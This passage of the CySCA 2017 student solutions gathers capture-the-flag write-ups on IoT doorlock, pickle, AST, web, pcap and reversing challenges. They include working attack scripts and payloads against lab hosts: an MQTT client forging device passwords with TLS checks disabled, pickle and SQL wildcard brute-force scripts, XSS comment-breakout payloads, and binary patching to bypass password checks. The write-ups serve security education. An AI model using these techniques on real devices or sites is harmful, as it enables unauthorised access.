simple swap out of the temperature number with a ridiculously large one. However, I then ran into the problem

with the signature being invalid.

Finding the correct signature took a while, and involved ripping the code from the ESP8266 device again.

Using 'strings', I was able to see the code, and discover how the signature was created. By replicating the

code segment from the dump, I was able to replace the temperature variables via an external python script,

joined, and hashed to get the final signature.

The new data (JSON style) and matching signature were then replaced via mitproxy (man in the middle

attack), and the flag was retrieved.

Challenge 3: In Certs we Trust Challenge Description

Certificates can be so difficult to handle properly.

Writeups

UNSW1 Subbed to everything on MQTT2. Send a message with topic FLAG33. Received FLAG3 message back with

a flag

MONU1 First we setup the IOT devices in the way described on the website (using testuser1/password). Then we

used the same command as the first challenge to dump the Python file to see how the challenge worked

(python esptool.py -p /dev/ttyUSB0 read_flash 0 1048576 doorlock.img).

Noticed it used MQTT to do all communication, and it was also subscribing to the FLAG3 and FLAG5 topics

but only printing FLAG5 topic messages.

Rather than trying to mess around with MiTMing the IOT device, we just made a compatible client in Python

which would print out every message and ran it on our Kali machine. The script was:

import paho.mqtt.client as mqttimport sslimport hashlibimport

binasciimac = "A0:20:A6:1A:2B:38"

username = "TESTUSER1"

def genpw(mac, username): mac = mac.upper()

username = username.upper()

# N.O.T..A..F.L.A.G

k = "faeQuaijeiFee8peet3Jeush9shieMiechee0aen"

d = bytearray(k + mac + username + k)

pw_hash = hashlib.sha1(d)

pw = binascii.hexlify(pw_hash.digest()).decode("utf-8").upper()

return pwdef

on_connect(client, userdata, flags, rc):

print("Connected with result code " + str(rc))

client.subscribe("FLAG3")

client.subscribe("FLAG5")

client.subscribe("%s/%s/group" % (username, mac))

client.subscribe("%s/%s/error" % (username, mac))

def on_message(client, userdata, msg):

print(msg.topic + " " + str(msg.payload))

client = mqtt.Client(client_id=mac)

client.tls_insecure_set(True)

client.tls_set('/etc/ssl/certs/ca-certificates.crt', cert_reqs=ssl.CERT_NONE)

client.username_pw_set(mac, password=genpw(mac, username))

client.on_connect = on_connectclient.on_message = on_messageclient.connect("doorctrl.cysca", 8883, 60)

client.loop_forever()

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 29 | P a g e

The script prints out: Connected with result code 0FLAG3 TESTUSER1/A0:20:A6:1A:2B:38/group hello

And that's the flag!

MUR1 I patched the firmware so I could edit the challenge main.py so it would dump when flag FLAG3 is

broadcasted by the MQTT server.

UOQ1 Reading the flash on the ESP8266 device, we were able to determine the authentication scheme and connect

to the MQTT server using a 'mqqt-spy' tool. This proved to be unnecessary, as detailed below.

Modifying the software running on the ESP (turning on message debug), we were able to see the flag printed

to the console.

Extracting the TLS certificate using Wireshark, we noted the server is using a self-signed certificate, which

does not appear to be validated by the client IoT devices. We attempted to create our own spoofed certificate

and perform a MiTM attack, but did not get our ARP spoofing to work before we found the flag in another way

(described above).

UOQ4 This task was a follow up from the previous IOT tasks. The previous ones were based on reading, this one

actually included modifying and replacing the firmware binary. Firstly, following the instructions in the PDF, I

dumped the firmware into a .bin file.

Secondly, I needed to modify the binary. Because I could only access the non-text file in vim, I used the

:%!xxd option to modify the hex characters. I only changed one character - which was from " == 'FLAG5'"

to "!= 'FLAG5'". This meant that I didn't need to find the correct topic variable, and that it would always print

flag with the incorrect topic variable.

Finally, I erased the firmware from the IOT (following the pdf) and then performed write_flash. Resetting

the device immediately displayed the flag.

Challenge 4: Sanitize All Inputs Challenge Description

Even Hardware input needs sanitising.

Writeups

UNSW1 SQL injection from the group name via MQTT

Challenge 5: Not the Lock you’re looking for Challenge Description

Open the door belonging to the Director of Data Engineering.

Writeups

UNSW1 1. Use username/mac/group (SARAH.BURNS, 60:11:34:11:7D:44, FrontDoor) tuple found from previous challenge

2. Generate password from the decrypted firmware genpw() function

3. Manually open a MQTT connection with the details

4. Manually send unlock control message

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 30 | P a g e

Miscellaneous

Challenge 1: Python – In a Pickle Challenge Description

Python's standard library includes a serialization format called pickle. In this challenge, your task is to provide a

pickled payload that will end in a particular result (and thus earn you a flag).

The pickle protocol normally uses a variety of opcodes to perform standard Python operations, like importing

modules and calling functions.

Some of these operations can be dangerous, so this program filters input before unpickling it. In particular, it

limits you to four relatively simple opcodes.

To solve this challenge, you will need to read its source code. The following standard library modules might also

help:

- pickle (to understand your available opcodes)

- pickletools (if you want to dig deeper into working with the pickle protocol)

- struct (to create pickle.BININT2 values)

Writeups

UNE1 Used the source code to find the allowed opcodes and discovered the binint2 takes 2 bytes. For each

character in the desired string I used a binint2 instruction followed by a null character and then the desired

character. I put these in a list using the list opcode followed by the required stopcode. I printed out this string

piping the output to the program running on the server.

UNSW2 #!/usr/bin/env python

import pickle

import pickletools

from pwn import *

import server

DESIRED_VALUE = 'Green and delicious!'

my_pickle = "(" # MARK

for char in DESIRED_VALUE:

my_pickle += "M" + struct.pack("<h",ord(char))

my_pickle += "l."

print '[+] pickle is {0} long'.format(len(my_pickle))

print my_pickle

# server.main(my_pickle)

conn = remote("10.13.37.123",9003)

conn.sendline(my_pickle)

print conn.recv()

conn.interactive()

MQU1 I used the python script below

import socket

import ctypes

null_char = ctypes.c_char(0).value

hex_values = ['M'.encode() + b.encode() + null_char for b in 'Green and delicious!']

pic = '('.encode()

for h in hex_values:

pic += h

pic += 'l.'.encode()

ip = '10.13.37.123'

port = 9003

server = (ip, port)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(server)

content = sock.recv(1000)

print(content)

sock.send(pic)

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 31 | P a g e

content = sock.recv(1000)

print(content)

MONU1 First, we started by reading the source code for the challenge. The get_chars function tells us that our

serialised object needs to be a list of integers, which when you call chr on each one, gives the desired string

"Green and delicious!" We only have a few opcodes, so looked at the source code of pickle.py in Python

so see what exactly each opcode does.

Everything seems to start with MARK. Then we can push all our integer values onto the stack using BININT2,

then use LIST to create a list of everything on the stack, then use STOP to finish.

It was then just a matter of writing a script to encode the binary integers properly as 16-bit little endian

integers, then send the data to the server. This is the script:

import pickle

import struct

from pwn import *

desired_string = "Green and delicious!"

pickled = "("

for c in desired_string:

pickled += "M"

pickled += struct.pack("<h", ord(c))

pickled += "l."

print pickled.encode('hex')

r = remote('10.13.37.123',9003)

r.sendline(pickled)

print r.recvall()

UOM1 b'(MG\x00Mr\x00Me\x00Me\x00Mn\x00M\x00Ma\x00Mn\x00Md\x00M\x00Md\x00Me\x00Ml\x00Mi\x00Mc\x00Mi\x00Mo\x00Mu\x00Ms\x00M

!\x00l.'

Pickle dump of the sequence

Challenge 2: Python - Abstract Syntax Treat Challenge Description

Your task is to understand a text dump of a Python abstract syntax tree (AST).

The program that runs this AST will give you its flag if you provide the right input.

The dumped AST is essentially pseudocode. You can reconstruct the original program piece-by-piece, at which

point you can figure out what it wants.

For details on ASTs in Python, please see https://docs.python.org/2/library/ast.html

Writeups

ANU4 The tree.py, specifically the tree variable string, is first manually formatted so that the AST is more readable

Then working from the AST and the AST documents available here :

https://greentreesnakes.readthedocs.io/en/latest/index.html

A somewhat readable but incomplete piece of code is produced:

def main(value):

convert=lambda nums:[''.join(chr(x)) for x in nums]

lib="hashlib"

attr="md5"

method="d5digest"

if __import__.hashlib.md5(value).digest()[::-1] \

!= :

(the result of calls involving "convert" are calculated manually)

Then the string "CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d" used in the inequality

check as visible in the AST is converted to hex: 434e9f1ea00e7b8a86c48ff7e6f5641d

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 32 | P a g e

Then since a reverse string operation is done before comparison(as seen in the incomplete code snippet), the

hex is reversed and becomes: 1d64f5e6f78fc4868a7b0ea01e9f4e43

Google searching the hex string "1d64f5e6f78fc4868a7b0ea01e9f4e43" yields schaakmat

Entering "schaakmat" into the program yields the flag

MONU1 Downloaded the provided Python file and saw it's just a Python abstract syntax tree. Couldn't really be

bothered manually figuring out what it did, so instead googled for a Python AST decompiler. Found

https://pypi.python.org/pypi/ast-decompiler/0.3. Installed that and ran:

import ast

from ast_decompiler import decompile

code_obj = compile(tree, '<ast>', 'eval')

namespace = ast.__dict__.copy()

compiled_ast = eval(code_obj, namespace)

print decompile(compiled_ast)

This printed out:

def main(value):

convert = lambda *nums: ''.join((chr(x) for x in nums))

lib = convert(104, 97, 115, 104, 108, 105, 98)

attr = convert(109, 100, 53)

method = convert(100, 105, 103, 101, 115, 116)

if getattr(getattr(__import__(lib), attr)(value), method)()[::-1] !=

'CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d':

raise ValueError('Wrong value!')

Modified this to print out lib, attr, and method which gave: hashlib md5 digest. So the code calls

hashlib.md5(value).digest() and then reverses the output, and compares to 'CN\x9f\x1e\xa0\x0e{\x8a\x86\xc4\x8f\xf7\xe6\xf5d\x1d'.

So, I reversed that string, which is 1d64f5e6f78fc4868a7b0ea01e9f4e43 in hex. Googled this string which gave the

page http://www.md5center.com/md5-word-list.php?start=20731 which has already cracked the hash.

The required value is therefore schaakmat. Submitted that with netcat and got the flag.

UOS4 I reverse engineered the AST by referring to

https://greentreesnakes.readthedocs.io/en/latest/nodes.html for weird ones and compiling my

own code into AST and dumping it for things I was unsure about; like the slice.

I worked out that it was trying to compare a hardcoded value to hashlib.md5(myvalue).digest()[::-1]. I

reversed the hardcoded string, encoded it as hex, and googled the result hex digest for the answer. Instead of

processing a password file.

ANU1 found this

https://gist.GitHubusercontent.com/ndnichols/1356576/raw/f0bfb3ec78764daf2089ed75f4f9c81

3fd7e5dca/codegen.py

commented out the bits that broke

saw that it was hashlib md5 digest by looking at those numbers and converting to string

noticed that it was reversed with Slice(..., step=-1) so I reversed the hash, converted to hexdigest with

binascii.hexlify then dumped into https://hashtoolkit.com/ to get the password

UNE1 BY looking through the AST, I saw there was some numbers that I converted to ASCII to see that hashlib was

being loaded to use md5 digest which was then reversed and compared to a value given in the code. I

converted that into hexadecimal md5 hash and then used rainbow table to see that the word being hashed

was schaakmat.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 33 | P a g e

Challenge 3: Web - Ninja Belts Challenge Description

Last year's ninja belt search engine has been upgraded.

Can you extract the flag from its database?

Writeups

WSU2 Use the ‘%’ wildcard, which will evaluate true for all strings in the table, therefore printing all

results.

UNSW1 SQL like queries using wildcards

import requests

import string

charset = string.printable.replace("%", '').replace("'", '').replace("\"", '')

ans = 'flag{hope_you_like_wildcards_'

base = "http://10.13.37.123:9004/?belt_color="

while '}' not in ans:

for char in charset:

payload = base + ans + char + '%'

print("trying ", payload, end='')

resp = requests.get(payload)

if 'you can earn a' in resp.text:

ans += char

break

print(resp.text)

UTS3 Lots of research finally led us to the successful search result of wildcards in SQL. Attempted with `_` for true

values of belt colors (i.e. blue and black) - shortly we were successful with `%` wildcard. Weeew!

ANU2 Started with inputting various colors like red, yellow, orange and etc, to see how to search responded to them.

Colors like red, yellow and orange were not in the database. Tried to insert ' marks to see how the website

would respond and it accepts the string but shows no results found. After trying different colors, the color

black was accepted and the string said that it can be earned.

Once it was known that black is valid input other characters where append and prepend to the string to figure

different kinds of permutation of the input were accepted as well. After trying to append characters like ' ; --

* % it was discovered that the input black% was also accepted.

Therefore, one by one a character from the end of the word black was removed to see the difference is

results. When the string bl% was inputted the result showed two possible belts, blue and black. This meant

that the character % was acting as a wildcard therefore by only inputting % all the possible entries in the

database were printed out including the flag.

RMIT3 1. Entered a valid colour into the textbox to get a glimpse of the URL style

2. Experimented with different SQL injection inputs

3. Printed entire list of belt_colors collection after entering the '%' after 'belt_colors=' in the URL

Challenge 4: Web - Guestbook Challenge Description

Everybody enjoys signing online guestbooks, and webmasters love to read them.

Your task is to use an XSS bug to set the XSS JavaScript variable.

A bot monitors this value, and will give you the flag if you succeed.

As a security measure, you have a very limited set of characters available.

Specifically, you can use <, >, A-Z, =, /, and -.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 34 | P a g e

Writeups

GRIU1 First, I used a regex syntax checker to fully understand what character I'm allowed to use.

The fact that there was no actual java script code in the website and that once submitted, plain text is returns

cause some confusion.

Then I used a local html file to test with a script tag and input a number of different combinations to of the

script tag, XSS declaration and assignment to attempt to assign a value with only capital letters. This involved

a lot of trial and error.

I then tried each of those in the test page and found none working, realising it’s because the script might be

inserted into another tag I added a closing tag before the script which solved to problem and revealed the flag.

ECU1 SOOO

I had this: <SCRIPT>XSS=XSS</SCRIPT> for a while

then had <SCRIPT>XSS=A</SCRIPT> for a while

then teammate was like 'HEY YOU CAN USE / FOR QUOTE' so we had <SCRIPT>XSS=/A/</SCRIPT>

then that final comment came out about HTML comments.

COOL

--><SCRIPT>XSS=/A/</SCRIPT>

UOQ2 commented out html with --> and assigned regex to XSS

--><SCRIPT>XSS=-/-/</SCRIPT>

FLINU2 Using the string:

--><SCRIPT>XSS=/A/</SCRIPT>

the previous code can be terminated with a closing comment, and a script tag opened which will set the XSS

variable to a JavaScript regex object, which will cause the XSS variable to be defined.

UOM1 The XSS would be commented out normally as the input is something along the lines of <!-- XSS HERE --

>.

Because our input is not escaped, we can close the comment ourselves and write our own JS. JS has a few

ALL CAPS values that would allow a variable to be set, including JSON. Setting JSON == JSON returns true.

-->//<SCRIPT>XSS=JSON==JSON</script>

Challenge 5: Follow the Traffic Challenge Description

Found this pcap from a bank. I wonder if you can figure out where transfers are going.

Writeups

UNSW2 Find out what's going on. Some interesting stuff including a WiFi pineapple there. After the user (IP:

172.16.126.1) authenticates, the server replies that the key is sent on a different http port (8080), go there

and find the data.

There we're given an encrypted key with the clue "Hail ceasar" - implying it could be a ceasar cipher.

Doing a rot-n bruteforce (26 keys) the only thing that resembles anything sensible is "mydesecb".

This seems to imply something is encrypted with DES and the ECB mode. What is encrypted? Also, in the

authentication response, we're told that all transactions happen over port 5858. Go there and there is a big

chunk of data that looks like hexadecimal escaped string.

But also contains more data. Download this data, write it with python (python renders such a string very nicely

and handles hexadecimal escapes nicely along with normal ascii characters) - could this be the ciphertext?

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 35 | P a g e

Let's decrypt using the key "mydesecb" using DES with ECB on the raw binary output we wrote with python.

Success: sendfrom:27890368::sendto:9002874902:sendamount:9001

UNE1 Used Wireshark to see that only 176.16.126.1 had POST'ed and assumed bank would only authenticated

with POST. Saw reply that said use alt-http for key and port 5858 for transactions.

Looked at port 8080 to find 'zlqrfrpo' and an indication that it was using a Caesar cipher (Hail Caesar!).

Tested and found ROT13 gave mydesecb which looked like a good key.

Then looked at port 5858 and found some escaped hexadecimal data passed this and key into a DES

decryptor to get result.

MONU1 Opened the PCAP and looked at HTTP first (filter: http). Found a GET to /auth. Looks like it returns a bank

type login thing, so probably on the right track. Shortly after that GET there's a POST to /auth.

With the data "Username=user54429&Password=E56rc4hMlv3xp&imagetwo=iamgetwo".

This sends back "Authenticated. Sending key on alt-http. Listening for transactions on port 5858". I looked

up alt-http on Google, and found that it's port 8080. So, I filtered all the traffic to that port using "TCP.dstport

== 8080 || TCP.srcport == 8080".

I followed the TCP stream and got the string "Hail, Caesar. Here is your encrypted decryption

key: zlqrfrpo". This probably indicates that we need to transform zlqrfrpo with some kind of Caesar cipher.

Going back to the string returned from /auth, we also need to look at port 5858 (filter: "TCP.dstport == 5858

|| TCP.srcport == 5858"). Following this TCP stream gives "\xc09X\x95p\xa8\x89B\xc9\x03+\xa5/\xb0\x1dz\xc5\x87K\x0b\x1aP\x86\xc19\xc23\xab\xb4'\x14\xa7\xc6h\xc9\x0f\xc7

\xfb\x019\xf7i\xd0v\x1d\x02\xa3\xa5`\xb8\xc3N\x87b\xc9\x07"

- looks like it's encrypted.

So, we probably have to apply some kind of decryption using the key above to this encrypted text. I know that

DES uses 8-byte keys, so wrote a python script to just try all the Caesar cipher rotations, and try to decrypt

the data.

from Crypto.Cipher import DES

transaction_data =

"\xc09X\x95p\xa8\x89B\xc9\x03+\xa5/\xb0\x1dz\xc5\x87K\x0b\x1aP\x86\xc19\xc23\xab\xb4'\x14\xa7\xc6h\xc9\x0f\xc7\xfb\x

019\xf7i\xd0v\x1d\x02\xa3\xa5`\xb8\xc3N\x87b\xc9\x07"

print(transaction_data.encode('hex'))

encrypted_decryption = "zlqrfrpo" # probably with caesar

print(encrypted_decryption)

# Un-caesar cipher the encrypted_decryption key then xor the transaction_data with that

# from http://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/

# This needs Python3 but I only have pycrypto on Python 2 so just copied the results below

#def rot_alpha(n):

# from string import ascii_lowercase as lc, ascii_uppercase as uc

# lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n])

# return lambda s: s.translate(lookup)

rots = ["zlqrfrpo","amrsgsqp","bnsthtrq","cotuiusr","dpuvjvts","eqvwkwut","frwxlxvu","gsxymywv","htyznzxw",

"iuzaoayx","jvabpbzy","kwbcqcaz","lxcdrdba","mydesecb","nzeftfdc","oafguged","pbghvhfe","qchiwigf",

"rdijxjhg","sejkykih","tfklzlji","uglmamkj","vhmnbnlk","winocoml","xjopdpnm","ykpqeqon"]

for i in range(26):

key = rots[i]

print(key)

cipher = DES.new(key, DES.MODE_ECB)

decryptedString = cipher.decrypt(transaction_data)

print(decryptedString)

Running this gives the key as "mydesecb" (oh, probably should have looked at that first...), and the

associated data "sendfrom:27890368::sendto:9002874902:sendamount:9001::::". So the flag is "sendfrom:27890368::sendto:9002874902:sendamount:9001::::".

UNSW1 - Export HTTP objects from Wireshark

- Find clues about ports

- Find key "zlqrfrpo" on port 8080 -> "mydesecb" rot13'd

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 36 | P a g e

- Find ciphertext on port 5858

- "mydesecb" -> DES ECB

- Decrypt to "sendfrom:27890368::sendto:9002874902:sendamount:9001::::"

UOS1 - identified SecureBank web interface

- noticed that auth dialogue tells the user to receive an encryption key on port 8080, and submit transactions

on 5858.

- the key (mydesecb) transmitted was an 8-byte DES key but encoded in ROT-13

- using the des k

Challenge 6: Protoverse Challenge Description

Somehow Caesar got his hands on an Enigma machine.

He has used standard methods to put the cylinder settings in ciphertext-a file and the switchboard settings

have been encoded in to ciphertext-b.

Ultimately, you will need to break the file ciphertext.

Writeups

MONU1 Looked at the binary, found that it reads a Login and a Password. The function 8048E7B takes in the Login

and returns the length of the string, up to a maximum of 90, which is obtained from the string length of "ASDFADGGRSDFV#VFQFQDG$URUKGHSDFGET#$^USDFGWERYASDGDUYTJSDFADFASDFARUJSDFGASDFASHYSDFGAVRKWFHQEFASDFASDFSd"

minus 15.

Then, the length of the login is later on used to grab a substring of that big string from before. So, if the length

of the login string is 1, then 14 characters will be read starting from index 1, i.e. "SDFADGGRSDFV#V". This string

has a null byte on the end and is then compared to the Password that you provide. If we just provided

"SDFADGGRSDFV#V" as the password, then the string comparison would fail since there is a newline character on

the end.

So, we have to add a null byte onto the end of "SDFADGGRSDFV#V", then send it as the password.

This can be done with this script:

from pwn import *

context.log_level = 'debug'

sh = remote('10.13.37.123', 9007)

data = sh.recvuntil('Login:')

sh.write("\n")

data = sh.recvuntil('Password:')

sh.write("SDFADGGRSDFV#V\x00\n")

print sh.readline()

This gives the output of:

'Welcome to the House of the Rising Sun\n'

' `o\n'

" `o o'\n"

" `o o'\n"

" `o o'\n"

" `o ..ooo, o'\n"

" .d''~ ~`b. '\n"

" d' ``b\n"

" d' `b\n"

" d' `b\n"

' .o.o.o.o.o.o.o. ;0 flag{g00d_t!m3$} `b .o.o.o.o.o.o.o.\n'

'Welcome to the House of the Rising Sun\n'

ANU1 I ran strings on the binary which revealed a large "welcome to the house of the rising sun". I opened the

binary in hopper and went to the location in code that made reference to this string.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 37 | P a g e

I went through the code above this in the CFG, and found where the "Login:" and "Password:" fields were

read. Just before the branch to printing the "house of the rising sun", there was a call to strncmp.

I used gdb to find exactly what was being compared. I found that the password I had typed in was being

compared with some text that I had spotted previously in strings. It compared just 16? characters from this

string with my password.

I noted that which part of the string compared is dependent on the length of the username entered and

nothing else. I noted down what was compared for the username "user". It was the string

"DGGRSDFV#VFQFQ".

I entered this combination on my local system and was able to access my flag. I used the same username

and password to get the flag off the exploit server.

UNSW1 1. Use gdb to break on strncmp on a given login

2. Work out password from strncmp arguments

3. Use password

CU1 >step 1: smash protoverse into your friendly neighbourhood strace

>step 2: nc into 127.0.0.1 <port>

>step 3: observe the pid of the child spawned when you connected

>step 4: attach ltrace to the child's pid (ltrace -p <CPID>).

>step 5: type some random login in, don't care what

>step 6: observe the strncmp

>step 7: use the password it was comparing to on the actual remote instance (note: use ctrl+d to submit the

password to prevent a \n being tacked onto the password string)

>step 8: ????

>step 9: profit

UNSW2 snprintf((char *)&someBlock, 0xFu, "%s", &weirdStr[loginStrLen]);// copy from the weird string into someblock

if ( !strncmp((const char *)&inputStr, (const char *)&someBlock, 0xFu) )// first 15 chars of password have to

match someblock

so the premise of the chall is that there is some weird string in the data section

the first read is the offset of the weird string which will be used to strcmp a user input

however the copy of the string to compare with the user input is only 14 bytes, when 15 are compared so we

just null terminate out user input early to ensure this is the case

root@3792fac89dc9 ~/shared/cysca > python pro.py [+] Opening connection to 10.13.37.123 on port 9007: Done

Login:

Password:

[*] Switching to interactive mode

Welcome to the House of the Rising Sun

`o

`o o'

`o o'

`o o'

`o ..ooo, o'

.d''~ ~`b. '

d' ``b

d' `b

d' `b

.o.o.o.o.o.o.o. ;0 flag{g00d_t!m3$} `b .o.o.o.o.o.o.o.

[*] Got EOF while reading in interactive

from pwn import *

r = remote('10.13.37.123', 9007)

print r.recvuntil('Login:')

# set the length of the substring to use (4 incl. newline)

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 38 | P a g e

r.sendline('aaa')

print r.recvuntil('Password:')

# send the substring and null terminate since the binary actually only reads 14 and not 15

chars...

r.sendline('ADGGRSDFV#VFQF\x00\')

# read flag

r.interactive()

Challenge 7: Strings - Reversing password Challenge Description

I want to talk to this server. Need to learn its language first.

Writeups

ECU3 Using ltrace to decompile with a random string with partially decompile the program

ltrace -C ./revpassword.bin "ass" __libc_start_main(0x804861f, 2, 0xffcc9004, 0x8048690 <unfinished ...>

strncmp("ass", "You found me!", 13) = 1

puts("Try again"Try again

) = 10

This shows the password to be "You found me!"

therefore

ltrace -C ./revpassword.bin "You found me!"

reveals the flag.

UOQ1 Using radare2, we analysed the binary.

Using aa, then "pdf @main" we decompiled and viewed main().

There is a string comparison in main(), comparing the passed parameter with the string "You found me!".

When this string is provided to the binary, like

./revpassword.bin "You found me!", the flag is provided.

This result is consistent with one of the strings found using the "strings" command.

MONU2 * run the binary, without any argument: ./revpassword.bin, we can see that it is expecting a password

* run the binary with an argument: ./revpassword.bin whatever, the program returns Try again, and exit

* we assume that it is checking user input against some sort of hardcoded string, or hardcoded string that

goes through some magic in the code.

* open the binary with gdb

* we can make guesses that main+76 is doing some string comparison, probably our user input and the

binary's password.

* next it's doing an jne, which is jump if not equal to, which is the wrong password scenario we were getting.

* set the breakpoint before jne: b *main+81

* set the jne instruction to nop: set *(char *)0x08048672 = 0x90 (address might be different)

* inspect the instructions again: disas main

* also set the pop instruction right follow to nop, avoid runtime error: set *(char *)0x08048673 = 0x90

* disas main, everything looks right

* do s<Enter>, the binary returns the flag

MQU3 reverse engineer the main function to find how the code is executing

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 39 | P a g e

I have commented on the disassembled code to explain what I have discovered using gdb to find strings, etc.

8048658: c7 44 24 08 0d 00 00 movl $0xd,0x8(%esp)

804865f: 00

8048660: c7 44 24 04 7c 87 04 movl $0x804877c,0x4(%esp) ; print (char *) xx = "You found me!"

8048667: 08

8048668: 89 04 24 mov %eax,(%esp) ;whatever is in eax is the password that was entered

804866b: e8 70 fd ff ff call 80483e0 <strncmp@plt> ; call strncmp, 3 parameters - str1, str2, n

8048670: 85 c0 test %eax,%eax ; if the strings are equal, then dont jump -> i.e. call decode

8048672: 75 07 jne 804867b <main+0x5c> ; if they are not equal, then FAIL

8048674: e8 74 fe ff ff call 80484ed <decode_flag> ;decode flag if test returns true -> so the strncmp was

successful!

Since 32-bit programs pass parameters on the stack, then the last 3 pieces of data passed on stack must be

what strncmp is using... first one is n = 0xd = 13 characters... the next is the "You found me!" string...

then the next is the pw that was entered as a parameter on the command line. In other words, "You found

me!" must be the password!

UOS4 Patched binary to flip the jump such that any incorrect password prints the flag.

Challenge 8: Reversing – Needle Challenge Description

What is the link that was used to compromise the user?

Writeups

UNSW1 Reverse each chunk of 0x40 bytes to piece together the original file. Gunzip to get the flag.

def reverse(nums):

v21 = 3681780448

v22 = 4042223422

v23 = 3497432790

v24 = nums[0] % v23

result = []

for j in range(3, 16):

v24 = (v22 + v24 * v21) % v23

result.append(nums[j] ^ v24)

return result